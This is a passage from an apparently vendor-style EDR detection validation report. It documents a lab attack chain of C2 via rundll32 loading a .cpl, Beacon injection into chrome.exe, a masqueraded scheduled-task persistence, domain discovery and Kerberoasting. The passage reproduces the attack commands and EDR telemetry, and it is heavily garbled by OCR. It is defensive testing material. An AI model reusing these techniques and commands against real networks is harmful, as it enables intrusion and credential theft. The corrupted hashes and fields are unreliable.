Behavior Info ~
Behavior 1D 6314855094026241968 Activity Type Image Loading
Operation Type File Operation First Qccumred o
Last Occurred
Rule ID 1100031574001003 Rule Name DIl search order hijacking by suspicious dil
Description It is suspected that an attacker uses Rule Infent Persistence
C:AWind Zirundll32 exe to load. ..
ATTECK Taclic Persistence (TADDD3) ATT&CK Technique Hijack Execution Flow (T1574) 7
Source Entity Info ~
Process File Hame rundll32 exe FID 14360
Process File Path CAWind Zirundll32 exe Command Line "CAWINDOWS\system32iundll32 exe”
Shell32_dll. Control_RunDLL...
File SHA256 (D) 4193f529bff2729769d52cb832e206d2af16c59208d6dc  Process Siart Time
Scd8b54cdIcET03a11
File MD5 (i bbE5029e6adc1c632492bcfb945e495h Digital Signature Microsoft Windows
Signature Validity Trusted Security Cataleg Signature
Process Hame rundli32 Integrity Level Medium
File Size File Creation
File Modification File Access
File Descripfion Windows host process (Rundll32) File Version 10.0.26100.7309
Product Name Microsoft® Windows® Operating System Original File Name RUMNDLL32 EXE

Signature Time

Running in Backend False

Target Entity Info ~
File Name Reader_en_install.cpl File Path C\Usersljack white\Downloads\Reader_en_install.cpl

File SHA256 (D File Creation

Close
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Step 3. Command and Control

Description

TTPs

Performed on
Host IPv4

Integrity level

Result / Observations

In this phase, we used a C2 Framework to establish a legitimate-appearing parent/child process
relationship to simulate a stealthy C2 channel. The payload was spawned under trusted process trees
such as explorer.exe — chrome.exe or explorer.exe —. msedge.exe, blending malicious activity into
normal user-driven behaviour.

This step evaluated whether the EDR solution detects anomalous process creation, suspicious
command-line parameters, or unusual outbound connections, and whether detection relies solely on
process ancestry or incorporates deeper behavioural analysis.

e T1071.001 - Application Layer Protocol: Web Protocols
Use of HTTP/HTTPS communication to blend C2 traffic with legitimate web traffic.
e T1036 - Masquerading
Execution of malicious activity under legitimate browser processes to evade detection.
e T1055 - Process Injection
Injection of Beacon code into a legitimate process to establish covert execution.
e T1105 - Ingress Tool Transfer
Previously delivered payload establishing outbound communication to external C2
infrastructure.

Wso1
10.10.70.202

medium integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the telemetry for this step provides a very clear reconstruction of
the browser-parented Beacon execution. The EDR data shows that chrome.exe was created on WS01
at 12:15:39 and directly links that process creation back to rundll32.exe, whose command line still
referenced Shell32.dll,Control_RunDLL and the previously executed Reader_en_install.cpl file from
the user’'s Downloads directory. The hunting view is especially useful here because it does not only
show a suspicious browser process in isolation but preserves the full relationship between the
original loader and the spawned browser process, including process paths, PIDs, integrity levels,
signatures, and timestamps. In addition, the raw event data explicitly classifies the activity as a
process created by shellcode and maps it to reflective code loading, which gives the analyst a much
stronger behavioural context than simple parent-child monitoring alone.

The subsequent telemetry continues that chain consistently. A dedicated process injection event was
recorded shortly afterwards at 12:15:46, again linking rundll32.exe as the source process to
chrome.exe as the target. This was then followed by a network connection from the same chrome.exe
instance at 12:16:49 to an external destination over TCP port 80. Taken together, the hunting data
shows the full progression from loader execution, to browser process creation, to injection, and
finally to outbound communication. That is strong visibility for this scenario, because it allows the
activity to be correlated as a staged C2 establishment rather than as separate low-context events.
Overall, this step was captured well in telemetry: the EDR preserved the technical details needed to
trace how a legitimate browser process was abused as the container for the Beacon and how that
process was then used for external communication.
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Step 3 Manual Investigation for telemetry / Threat hunting

Log Investigation Investigation Panel X i o]

| Time Occumed Lasts0days ] | Opera og Details %
| Entity Name (Target) chrome.exe ~ | E

rundli32 exe chrome exe WS01 (10.10.70 202)
Process Operation

Time Occurred Operation Ty Q
C H] PID 14360 PID 29256 - fdefault group

Process Oper

Details Raw JSON BN Copy Al

“Device™: {

"agentId": “e3efl7daeesbcarsadeselc7bassrc2a”,

"connectIp": "1@.1@.78.282",

"group”: "/default group/",

"name": "wWse1",

“networkInterfacesIp”: "18.16.78.282",

“owner®: "

i
"Event": {

"agentCostTracing”: "sensor:@;qoS:@;telemetry:l;attack:l;cg:@;reporti8;reportTime:1773918948288",

"agentpisplayTime™:

"basicTtp": "",

“builtinTtpConfidence®: 41,

"builtinTtpDescription": "It is suspected that an attacker using shellcode in rundll3z.exe to create chrome.exe. This activity
allous attackers to hide malicious code while avoiding detection by security mechanisms.”,

"builtinTtpId": lleeesic2eeeeees,

"builtinTtpObjective”: &,

“builtinTtpseverity”: 2,

"builtinTtpTactic”: "TABEES",

“puiltinTtpTechnique™: "T1628",

"builtinTtpTitle”: "Process created by shellcede”,

“builtinTtpType™: 1,

"callstackabnormal”: 52,

"callstacksummary”: “"ntdll.dll|Kernelease.dll|kernelBase.dll|kernelBase.dll]|kernel22.dll|unbacked”,

"callstacks":
"18446735291609604657 | 18426735291609779154 | 1844673529169752389 | 18446735291609931941 | 18446725291609935915 | 18446735291609938692 | 185467252
53384193634 | 18446735203 383598545 | 12445 735293385353250 | 18445735253321689822 | 146721296567572 | 146721832635314 | 140721835627331 | 1467218380261
58| 140721873702852|1653952758277",

“cloudsplitevent™: @,

"currentProcessCount”™: 24,

"currentRule": 7882,

“currentRuleGroup™:

"customTtpConfidence”: @,

Log Investigation Investigation Panel | x -+ @]

| Time Occured Last 30 days Opsrs | og Details x

|E"m" NameiTamenjchoome ol IR “uploadModuleTime": 1773518548664

ts

Time Occurred Operation Ty
"source”: {

"commandLine": "\

S\ AWINDOWSY \system32\rund1132.exel” Shell32.d1l,Control_RunDLL
\'C\WUsersh\jack.uhite' \Downloads\\Reader_en_install.cpli”,",
"createdTime": °
“creatorNodeId™: 14291417248588795959,

Process Opel

"currentDirectory™: "C:\\Users\\jack.white\\Downloads\\",
"customIocActiol 255,
"directory”: "C:\\Windows\\System32",

“displayName”: "rundl132.exe”,

"exitTime": a,

"extraflags": 2,

“fileaccessedTime™:

"fileattributes": 32,

"fileauthenticodeHashshal": "912ee2b7175a8faee34eacssdfesesrefcfasbed”,
"fileAuthenticodeHashsha25e": "b87fblffeefsbab83ce3beacsbeesdos636b38afa35abblceccbebcad?rE23cs",
“fileCreatedTime"
“fileDescriptio

Windows host process (Rund1132),
“filesashMds": ° dc1c32492bcf ",
“filedashshal": "esa54a3b7dabsbass7eeeblazcdcesasrasscast”,
“filesashsha2se”: "2192f529bF2729769d82cha3ee2e6d2af1605920806dc5cd8bsacdoce7@3a11",
“fileHashsubHash":

“filemodifiedTime":
“fileName": “"rundll32.exe",

“fileliodeTd": 474239136833354497,
“fileoriginalFilename™: "RUNDLL32.EXE",

“filepath": "C:\\Windows\\System32\\rundll3z.exe",
“fileproduct": "microsoft® windows® operating System",
"filesignatureName”: “"Microsoft windows",
"filesignatureTime": 1771588441663,

"fileSignatureType": 3,
"fileSize": 98384,
“fileversion": "18.8.25180.7389",
rundl132.exe”,

~imageFileName’
“imageTamper": @,
"imageType": 24204,
"integrityLevel™: 2,
"isexit": e,
"1sHiddenWindow:

2,
"mappedFilePath”: "C:\\Windows\\System32\\rundll32.exe",

Close

24



Log Investigation Investigation Panel X

| Time Cccurred Last 30 days

| Entity Name (Target) chrome.exe E i3

EDR Detection Validation

=L

Opera  Log Details

“Target”™: {

Time Occurred Operation Tyg

Process Oper

Log Investigation Investigation Panel *

| Time Occurred Last 30 days

| Enity Name (Target) chrome exe ~ | E
Time Occurred Operation Typ

Process Oper

"appName": "chrome”,
“appType"i 1,
“commandLine"

\\Program Files\\Google\‘\Chrome\\Application\\chrome.exe\"",

“createdTime":
"creatorNodeId”: 5659488447452848286,

"currentdirectory”: "C:\\Users\\jack.white‘'\Downleads'\\",

“customIocAction™: 255,

"directory": "C:\\Program Files\\Google\\cChrome\\Application®,

"displayName": "chrome.exe",

"exitTime": @,

"extraFlags": 2,

“fileaccessedTime": *

"fileattributes™: 32,

"fileauthenticedeHashShal": "a52128b7a6666C164151212e64C081F521128276",
"fileauthenticededashsha2se": "924adseazcens37e122cdbIsafee26ad9dscad7ddlc9asiaggsase3afsesrssn”,
“fileCreatedTime":

"fileDescripticn™: "Google Chrome",

“fileHashMds": "346d17394a53a6797fca3549b81564cd"”,

"fileHashshal": "757ea26d229d35CC25Ce948ae846b0492a08aaF2",

"fileHashsha2se™: "bf24depe7lcd29ec7709e55fe9417d59aabafagebses2598e25ffeee7bcb7bshb”,
“fileHashSubHash"
"filemodifiedTime":

"fileName": “"chrome.exe",
“fileNodeId": 3998567459857424483,
"fileoriginalrilename™: "chrome.exe",
"filepath": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"fileProduct": "Google Chrome”,
"fileSignatureName": "Google LLC",
"filesignatureTime": 1773441395002,
"filesignatureType": 2,

“filesize": 4812134,

"fileversion": "146.8.7680.80",
"imageFilename™: “"chrome.exe",
"imageTamper": @,

“imageType": 3444,

"integrityLevel": 2,

"isExit": e,

"isHiddenWindows": 1,

"issourceapp": 1,

Fmznnadsilansth®. frelloenmras ©3lacilmannlal irheasal ) inn]§rstianll cheama ava®

Close

+ c reatarNodeld‘ 2/2 ~

Opera | og Details

“name"”: “"rundll32",

“nodeld": SE554@3447451048236,

"nodeTypeId": 1,

“normalCommandLine™: “"c:\iwindows''\system32\\rundl122.exe shell32.dll,control_rundll

c:\iusers\\jack. uhite\\downlgads\\reader_en_install.cpl,”,
"parentProcessiodeld”: 14291417248588795959,
"pid": 14368,

i

"processFlags": @,
"relativeCreatedTime": 3793585,
“treeld": 1613383197@445526999,
"treeNodeTr
“updateTime": 1773918928636,

"usersessionId”: 2,
5-1-5-21-834274518- 1384776282 4298465934 -1115"

i 14123434728565648601 ,

“usersid"

"Target™: {

"appiame": "chrome”,

"3ppType”: 1,

"commandLine": "\"C:\\Program riles\\Google\\Chrome\\Application\\chrome.exe\"",
“createdTime

“Ereatorliodeld” : 5559493447452848286,

“currentDirectory™: “C:\\Usershi‘\jack.white\\Downloads\\",

"customIocaction™: 255,

“directory”: "C:\\Program files\\Google\\Chrome\\Application”,
"displayMame”: “"chrome.exe",

"exitTime": @,

“extraFlags": 2,

“fileAccessedTime™:

"fileattributes": 32,

"fileauthenticedeHashshal": "a52128b736666C16415121ee64c081F52112876",
"fileauthenticodedashsha2se": "924adsee2cee4378122cdbonafee2e6ad9dscadrdd1c9as3a995a3e33f5097892",
“filecreatedrime™:

"filepescription”: “"Google Chrome”,

“filedashMds": "346d1739435336797FCa3549b81564cd",

“filedashshal™: "757ea2ed329d35cc25ced48aed4cbad2ansaaf2”,

"fileHashsha2se’ f24de@@71cd29ec7709e55fe417d5%aabefagebdes2598e25ffeee7becb7bsh”,
"fileHashSubHash": - B

“filemodifiedTime"

"filename": “chrome.exe",
“fileNodeId": 399@567459397424483,
"filepriginalFilename"”: "chrome.exe",

Close
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Log Investigation Investigation Panel @ %X+ parentProcessNodeld 22 ~ v x Q

| Time Occurred Last 30 days (53 | Opera Log Details X

|Enmy Name (Target) chromeexe v | E
"extrafFlags": 2,

Time Occurred Operation Tyg "fileaccessedTime™:
"fileattributes™: 32,
Process Oper “fileauthenticodeHashshal": "a52128b7ac6e6C164151218e64C@81f521128876",

"fileauthenticededashsha2se": "924adsee2ceed378122cdb9eafee26ad9dsc4d7dd1c9as3a995a3e33f5097892",
"fileCreatedTime": [

"fileDescription”: "Google Chrome”,

"fileHashMds": "346d17394a5a36797fcaz549b81564cd",

"fileHashshal": "757ea26d329d35cc25ced48aesdebasnzansaaf”,

"fileHashsha2se": "bf24dese71cd29ec7709e55fe9417d59aabafascbaes2598e25ffcee7bcb7bsb”,
"fileHashsubHash": B
“filemedifiedTime":

"fileName": "chrome.exe",
"filenodeId": 2398567459857424483,

"fileoriginalrilename
"filePath"
“fileProduct”:
"fileSignatureName”: “Google LLC",
"fileSignatureTime": 1773441395802,
"fileSignatureType”: 2,
“fileSize": 4912184,
"146.8.7680.88",
"imageFilename™: “chrome.exe",
"imageTamper": @,

"imageType": 34484,
"integrityLevel™: 2,

"isexit": e,

"chrome.exe",

‘\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
“Google Chrome”,

“fileversion”

"isHiddenwindows": 1,

"isSourceApp": 1,

“"mappedFilePath”: “"C:\\Program Files\\Google\\Chrome\‘\Application\\chrome.exe",
"name”: "chrome®,

“nodeld”: 2167946331342168623,

"nodeTypeId": 1,

“normalCommandLine”: "c:\\program files\\google\‘chrome\\application\\chrome.exe"”,
" parentProcessNodeTd”: 4415745958929334066,

"pid": 29158,

"processFlags": @,

"relativeCreatedTime": 53283866,

"treeld": 16183831378443526538,

"treelodeId": 177285817437450921888,

"updateTime": 1773518948287,

Log Investigation Investigation Panel | X  + [
| Time Occumed Last 30 days [ | | Opera LO Details %
| Entity Mame (Target) chrome.exe + | E

rundli32.exe chrome.exe WSs01 (10.10.70.202)
Time Occurred Operation Typ Process Operation
PID 14360 PID 29256 - | idefault group

Process Oper

Details Raw JSOMN

Behavior Info -~
Behavior ID B6317445218211725807 Aclivity Type Process Creation
Operation Type Process Operation First Occurred
Last Occurred
Rule ID 1100051620000004 Rule Name Process created by shellcode
Description It is suspected that an attacker using shellcode in Rule Intent Defense Evasion

rundli32.exe to create chrome.exe. This activity allow. ..
ATT&CK Taclic Defense Evasion (TADD05) ATT&CK Technique Reflective Code Loading (T1620) 7
Source Entity Info ~
Process File Name rundli32 exe PID 14360
Process File Path CAWindows\System32\rundli32 exe Command Line "CAWINDOWS\system32vundli32 exe"

Sheli32 dil Contral_RunDLL

File SHA256 (D 4193{529bfl2729769d82ch83ee206d2af16c59208d6dc  Process Siart Time

Scd8b54cdIcsT03atll
File MD5 (i) bb&5029e6adc 1c632492bcfb943e4950 Digital Signature Microsoft Windows
Signature Validity Trusted Securily Cataleg Signalure
Process Name Integrity Level
File Size File Creation
File Modification = File Access -
File Descriplion Windows host process (Rundll32) File Version 10.0.26100.7309
Product Mame Microsoft® Windows® Operating System Original File Name RUNDLL32.EXE
Signature Time
Running in Backend False
Target Entity Info -~
Process File Name chrome exe PID 29258
Process File Path C:\Program Command Line "C:\Program

Files\Ganale\ChramelAnnlicatinnichrome eve Files\Gannle\ChrometAnnlicatinnichrome pve”

Close
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Leog Investigation Investigation Panel : >  + c

Time Occurred Last30days (] | Opers | og Details *

Entity Name (Target) Endpoint Na1

Time Occurred Operation Tyg chrome e Network Operation WS01 (10.10.70.202)
PID 29256 - [default group
Metwork Opel
Details Raw JSON
Metwork Ope:
Behavior Info &
Hetwork Opg Behavior ID 6317736533176617450 Activity Type Network Connection
Network Dpel Operation Type MNetwork Operation First Occurred
Last Occurred
Source Entity Info ~
Process File Name chrome exe FID 29258
Process File Path C\Program Command Line "C:\Program
Files\Google\Chrome\Application\chrome exe Files\Google\Chrome\Application\chrome.exe”
File SHA256 (D bf24de0071cd29ecT709e55fe9417d59aab4faB6b4e825  Process Start Time
98e25ficbeThebThSh
File MD5 (0 346d17394a5aa6797fca3549b81564cd Digital Signature Google LLC
Signature Validity Trusted Embedded Signature
Process Name chrome Integrity Level Medium
File Size File Creation
File Modification File Access
File Descriplion Google Chrome File Version 146.0.7680.80
Product Name Google Chrome Original File Name chrome exe
Signature Time
Software Type Browser App Name chrome
Running in Backend True
Target Entity Info ~
Destination IP Destination Port 80
Source IP 10.10.70.202 Source Port 62512
IP Type 1Pv4 Network Protocol TGP
Previous Close
Log Investigation i Panel | X+ Q
| Time Occurred Last 30 days Opera LOQ Details ¥
| Entity Name (Target) chrome.exe | E
. rundli32 exe TEED LI «chrome exe WS01 (10.10.70.202)
Time Occurred Operation Tyg PID 14380 PID 28256 - | idefauli group
Process Opel
Details Raw JSON
Procces Ol Behavior Info &
Process Oper Behavior ID B6317471286125667930 Activity Type Process Injection
Operation Type Process Operation First Occumred
Frocess OFY Last Occurred
Source Entity Info ~
Process File Name rundli32 exe PID 14360
Process File Path CAWindows\System32\rundl32 exe Command Line "CAWINDOWS'system32uundli32 exe"
Shell32.dll.Control_RunDLL...
File SHA256 (D 41935290f2729769d52cb83ee20602al16c59208d6dc  Process Sfart Time
5cd8b54cdIcET03a11
File MD5 (D bbE5029e6adc1c632492bcfh948e4950 Digital Signature Microsoft Windows
Signature Validity Trusted Security Catalog Signature
Process Mame rundli32 Integrity Level Medium
File Size S File Creation
File Modification File Access
File Description Windows host process (Rundll32) File Version 10.0.26100.7309
Product Name Microsoft® Windows® Operating System Original File Name RUNDLL3ZEXE

Signature Time

Running in Backend False
Target Entity Info ~
Process File Mame chrome exe PID 29256
Process File Path C:\Program Command Line "C:\Program
Files\Google'\Chrome\Application\chrome exe Files\Google\Chrome\Application\chrome exe"
File SHA256 (2 bi24de007 1cd29ec7709e556e9417d59aab4fadbb4e82  Process Sfart Time
598e25ffcbeTbebThSb
File MD5 (D 346d17394a5aa67971ca3549b81564cd Digital Signature Boogle LLC
Signature Validity Trusted Embedded Signature
Previous Close
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Step 4. Persistence

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

After establishing a C2 foothold on WS01, we simulated unprivileged local persistence by creating a
scheduled task. Using the BOF option, a scheduled task was created under the current user context
to re-execute the Beacon at logon or via a defined trigger.

This step emulated a common persistence technique that does not require administrative privileges
and blends into legitimate task scheduling activity. The objective was to assess whether scheduled
task creation is properly monitored and correlated with prior C2 activity. The activity was performed
under the user context jack.white@lab.local on WSO01.

e T1053.005 - Scheduled Task/Job: Scheduled Task
Creation of a scheduled task to achieve execution persistence on the compromised host.
e T1547 - Boot or Logon Autostart Execution
Use of an execution trigger tied to user logon to maintain access.
e T1564.001 - Hide Artifacts: Hidden Files and Directories
If the persistence components were concealed to reduce visibility.
e T1036 - Masquerading
If the scheduled task name was crafted to resemble a legitimate system or application task.

WSo01
10.10.70.202
jack.white@lab.local

medium integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, this step is well reflected in the available telemetry and allows
the persistence activity to be reconstructed with good clarity. The EDR data shows that the existing
chrome.exe  process on WS01 created a new file named msedge.exe under
C:\Users\jack.white\AppData\Local\Microsoft\Edge\, which was flagged as a masquerading event.
The recorded file-write activity is particularly useful here because it captures not only the dropped
file name and destination path, but also the fact that a legitimate, signed browser process was used
as the source of the write operation. Shortly afterwards, the telemetry also shows the creation of a
scheduled task named EdgeUpdate, with the task configured to launch the previously written
msedge.exe file under the user context LAB\jack.white. This provides a coherent hunting trail from
payload staging to persistence establishment.

Overall, the telemetry gives a solid picture of how the persistence mechanism was implemented. The
combination of a masqueraded file written into a user-accessible path and a scheduled task
referencing that file is a strong indicator of suspicious persistence, and the timestamps in the
investigation view show that both events occurred in very close succession. That is valuable from a
hunting perspective because it makes correlation straightforward and helps distinguish this activity
from isolated benign task-creation events. The screenshots therefore show that the solution captured
both the preparatory file placement and the actual scheduled-task registration, which is a strong
outcome for visibility into this type of user-context persistence technique.
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Step 4 Manual Investigation for telemetry / Threat hunting

Log Investigation Investigation Panel | *  + (@]

Time Occurred Last 30 days

Opera  Log Details X
Entity Name (Target) ~ | | Endpoint Nar

a chrome.exe WS01 (10.10.70.202)
Time Occumed Operation Tyg Persislence Beh EdgeUpdate
PID 29256 - | Idefault group

Persistence E

Details Raw JSON

Behavior Info ~
Behavior ID 6319979862077475048 Activity Type Scheduled Task Creation
Operation Type Persistence Behaviors (Scheduled Tasks, Services First Occurred
WM, etc.)
Last Occurred
Source Entity Info ~
Process File Name chrome.exe PID 29256
Process File Path CAProgram Command Line "CA\Program
Files\Google\Ch ne.exe Files\Google\Chrome\Appl . exe'
File SHA256 (D) bi24de0071cd29ec7709e550e9417d59aab4fa86b4e82  Process Start Time
598e25ffcbeThebThib
File MD5 (O 346d17394a53a6797ica3349081564cd Digital Signature Google LLC
Signature Validity Trusted Embedded Signature
Process Name chrome Integrity Level Medium
File Size File Creation
File Modification File Access
File Description Google Chrome File Version 146.0.7660.80
Product Name Google Chrome Original File Name chrome.exe

Signature Time
Software Type Browser App Name chrome

Running in Backend True

Target Entity Info ~
Scheduled Task EdgeUpdate Running Programs CA\Users\jack white\AppData\L ocalMicrosoffEdgeimse
dge.exe
Location \EdgeUpdate User LABYack white
User Group -
Close
Log Investigation Investigation Panel i *  + (@]
| Time Occurred Last 30 days (53 | | Opera Log Details X
Enfity Name (Target) msedge.exe ‘ I
| chrome exe WS01 {10.10.70.202)
File Operation B nsedge exe
Time Occurred Operation Typ PID 29256 - /default group
File Operatior
Details Raw JSON
File Operatior Behavior Info ~
File Operatior Behavior ID 6319925161260745560 Activity Type File Write
Operation Type File Operation First Occurred
Last Occurred
Rule ID 1100051036005013 Rule Name: Masquerading Common Apps With Signature
Description Itis suspected that an attacker uses the application Rule Infent Defense Evasion
chrome.exe to create a suspicious file....
ATT&CK Tactic Defense Evasion (TAD00S5) ATT&CK Technique Masquerading (T1036) 7
Source Entity Info ~
Process File Name chrome.exe PID 29256
Process File Path C:\Program Command Line "CAProgram
Fil le\Ch icati exe Files\Goagle\Chrome\Appli exe"
File SHA256 (D bf24de007 1cd29ecT 709e55fe9417d59aab4falbb4e82 Process Start Time N
598e25ffcBeTbecb7bSb
File MD5 () 346d17394a5aa6797fca3549b81564cd Digital Signature Google LLC
Signature Validity Trusted Embedded Signature
Process Name chrome Integrity Level Medium
File Size File Creation
File Modification File Access e
File Description Google Chrome: File Version 146 0 7680 80
Product Name Google Chrome Criginal File Name chrome exe
Signature Time
Software Type Browser App Name chrome

Running in Backend True
Target Entity Info ~

File Name msedge.exe File Path CAUsers\jack white\AppData\Local\Microsoff Edge'mse
dge.exe

Next Close
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Step 5. Discovery

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this phase, we conducted Discovery activities on WS01 under the user context
jack.white@lab.local. The actions simulated typical post-exploitation reconnaissance, including
enumeration of system information, user privileges, network configuration, domain membership,
running processes, and accessible resources.

The objective was to assess whether reconnaissance activity from a non-privileged account is
detected, logged, and correlated with prior C2 and persistence activity.

e T1082 - System Information Discovery

Enumeration of operating system details and host-specific configuration.
e T1033 - Account Discovery

Identification of the current user context and other local/domain accounts.
e T1057 - Process Discovery

Enumeration of running processes to identify security tools or privileged processes.
e T1016 - System Network Configuration Discovery

Collection of network configuration details such as IP address and routing information.
e T1069.001 - Permission Groups Discovery: Local Groups

Enumeration of local group memberships to identify privilege levels.
e T1069.002 - Permission Groups Discovery: Domain Groups

Enumeration of domain group memberships and potential privileged accounts.

Wwso1
10.10.70.202
jack.white@lab.local

medium integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the provided telemetry offers only limited support for this
discovery step. The screenshot shows a network connection from backgroundTaskHost.exe on WS01
(10.10.70.202) to 10.10.70.200 over TCP port 389, which indicates LDAP communication with the
domain controller. In the context of the described activity, this could be consistent with domain-
related enumeration, as LDAP is commonly used to query Active Directory information. However, the
visible event is tied to backgroundTaskHost.exe rather than to one of the explicitly listed discovery
commands or BOF-based enumeration actions shown in the scenario description.

As a result, the telemetry does not clearly expose the actual command execution or the individual
discovery actions themselves, but it does show at least one piece of supporting hunting evidence
that domain-oriented interaction with the controller took place from the compromised workstation
during the relevant timeframe. This is useful for broader activity reconstruction, especially when
correlated with surrounding events on WS01, but on its own it does not provide strong visibility into
the specific local-system and domain-enumeration commands that were reportedly executed.
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Log Investigation

Investigation Panel | X <+

| Time Occurred Last 30 days Opera

| Entity Name (Target) 10.10.70.200 « |

Time O

o ion Tyg
Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Metwork Opel

Log Details

backgroundTaskHost exe

PID 15824

Details

Behavior Info

Eehavior 1D
Operation Type
Last Occurred

Source Entity Info

Process File Name

Process File Path

File SHA256 (1)

File MD5 (D
Signature Validity
Process Name
File Size

File Modification
File Description
Product Name
Signature Time

Running in Backend

Target Entity Info

Destination IP
Source IP

IP Type

Previous

Metwork Cperation

Raw JSON

B6322571458673379556
Network Operation

backgroundTaskHost exe
CWind

dTaskHost.exe

b7d2c17e0035945aa4b72ae7a89e54d20b04coclfebs2
df5cBbTh67ded3c2530

8bdelae40012bd639fc60e494cc32356
Trusted Embedded Signature
backgroundTaskHost

49 KB

Background Task Host
Microsoft® Windows® Operating System

False

10.10.70.200
10.10.70.202
1Py

Next Close
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10.10.70.200

Achivity Type

First Occurred

PID

Command Line

Process Start Time

@]
X
WS01 (10.10.70.202)
Idefault group

~
Metwork Connection

-~
15824

"CAWINDCWS\system32\BackgroundTaskHost exe” -
ServerMame:BackgroundTaskHost WebAccountProvider

Digital Signat Wi ift
Integrity Level Low

File Creation

File Access

File Version 10.0.26100.1

Original File Name

Destination Port
Source Port

Metwork Protocol

backgroundTaskHost exe

389
61156
TCP
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Step 6. Credential Access

Description

TTPs

Performed on
Host IPv4

User context

Result / Observations

In this step, we simulated a Kerberoasting attack by identifying the service account svc_sglservice,
which had a registered SPN and was therefore susceptible to ticket extraction. Using a Beacon Object
File (BOF), a Kerberos service ticket (TGS) was requested from the domain controller and extracted
for offline analysis. Brute-forcing the hash was out of scope; for subsequent steps, the password was
assumed to be fall24!.

The objective was to evaluate detection capabilities related to abnormal Kerberos ticket requests
and potential Kerberoasting indicators within the domain.

e T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Requesting service tickets for accounts with SPNs to enable offline password cracking.
e T1003 - 0S Credential Dumping

Extraction of authentication material for offline credential recovery.
e T1087.002 - Account Discovery: Domain Account

Identification of domain service accounts suitable for Kerberoasting.

Wso1
10.10.70.202

jack.white@lab.local

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the available telemetry provides useful visibility into the
preparatory enumeration that preceded the Kerberoasting activity, but it does not show the actual
ticket request itself in the screenshots provided here. The EDR data clearly records two suspicious
process creations originating from chrome.exe, which is already atypical in this scenario context.
Specifically, the telemetry shows cmd.exe /C net user /domain | findstr /I "svc" followed by cmd.exe
/C net user svc_sqlservice /domain. This is a strong indicator that the compromised host was used
to enumerate domain accounts and then inspect the specific service account svc_sqlservice,
matching the commands shown in the test procedure.

This hunting evidence is valuable because it captures the operator's intent before the actual
Kerberoasting step: first identifying service-style accounts in the domain and then querying the
selected account in more detail. The visibility is therefore good at the reconnaissance stage of the
attack chain, and the telemetry ties the activity back to a suspicious browser-originated process
context rather than to ordinary administrative behaviour. At the same time, based on these
screenshots alone, the actual kerberoast svc_sqlservice execution or the corresponding Kerberos
ticket request is not directly visible. In other words, the hunting data documents the lead-up to the
attack very well, but confirmation of the ticket extraction itself would still require correlated
Kerberos-related telemetry or additional detection events from the same timeframe.
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Step 6 Manual Investigation for telemetry / Threat hunting

Log Investigation Investigation Panel | X  + Q
Time Occurred Last 30 days Opera |og Details X
Entity Name (Target) ~ Endpoint Na

Behavior Info ~
Time Occurred Operation Typ
Behavior ID 6322355037750165928 Activity Type Process Creation
Process Oper
Operation Type Process Operation First Occurred
Process Op Last Occumed
Rule ID 1100051620000004 Rule Name Process created by shellcode
Description Itis suspected that an attacker using shellcode in Rule Intent Defense Evasion
chrome exe to create cmd exe. This activity allows. .
ATT&CK Taclic Defense Evasion (TA0005) ATT&CK Technique Reflective Code Loading (T1620)7)
Source Entity Info ~
Process File Name chrome.exe PID 29236
Process File Path CAProgram Command Line "C:\Program
Files\Google\Chrome\Application\chrome. exe Fil: le\Ch \pplicati exe"
File SHA256 (i) bi24de0071cd29ecT709e55fe0417d50aab4fag6b4es2  Process Start Time
598e25ffcbeThbeb7b5h
File MD5 (D 346d17394a5aa6797fca3549b31564cd Digital Signature Google LLC
Signature Validity Trusted Embedded Signature
Process Name chrome Integrity Level Medium
File Size File Creation
File Modification File Access
File Description Google Chrome File Version 146.0 7630 80
Product Name Google Chrome Original File Name chrome.exe
Signature Time N
Software Type Browser App Name: chrome
Running in Backend True
Target Entity Info ~
Process File Name cmd exe PID 6908
Process File Path C\Windows\System32\cmd exe Command Line CAWINDOWS\system32\cmd exe /C nel user /domain
findstr /1 "svc”
File SHA256 (D) f682aaddaddeb654865a817909360a2517chb1a43ac093  Frocess Start Time - o
4ac425eedded824c713
File MDS 629a9de29fcd99366266c651a535a0a6 Digital Signature Microsoft Windows
Previous Close
Log Investigation Investigation Panel | X+ fe)
| Time Occurred Last30days ] | Opers  Log Details %
Entity Name (Target) ~ | Endpoint Hat
Source Entity Info ~
Time Occurred Operation Typ
Process File Name chrome.exe PID 29236
Process Opel  procecs File Path CAProgram Command Line "C:\Program
Files\Google\C lic ati Exe Files\Google'Chrome‘Application\chrome.exe”
Process Opet File SHA256 (D) bi24de0071cd29ecT709e55/e0417d59aab4fa86b4e52  Process Start Time
588e25ffcBe7beb7b5b
File MD5 (D) 346d17394a5aaB797ica3549b81564cd Digital Signature Google LLC
Signature Validity Trusted Embedded Signature
Process Name chrome Integrity Level Medium
File Size File Creation
File Modification File Access
File Description Google Chrome File Version 146.0.7680.80
Product Name Google Chrome Original File Mame chrome exe

Signature Time
Software Type Browser App Name chrome

Running in Backend True

Target Entity Info ~
Process File Name cmd.exe PID 13284
Process File Path CWindows'\System32\cmd exe Command Line CAWINDOWS\system32icmd.exe /C net user
sve_sqlservice /domain
File SHA256 (D) f682aaddaddeb854885ae17909380a25(7cb1a43ac083  Process Siart Time
4acd25eeddedd24cTis
File MD5 (D 62929de29fcd99366a66c651a535a5a6 Digital Signature Microsoft Windows:
Signature Validity Trusted Security Catalog Signature
Process Name emd Integrity Level Medium
File Size File Creation
File Modification File Access
File Description Windows Command Processor File Version 10.0.26100.7920
Product Name Microsoft@ Windows® Operating System Original File Name Cmd.Exe

Signature Time:

App Name emd Running in Backend True

Next Close Outlook (classic)

33



AV

comparatives

EDR Detection Validation Test 2026

Step 7. Lateral Movement

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, we used the previously obtained credentials of the service account svc_sqlservice to
perform lateral movement from WSO1 to the file server FSO1.

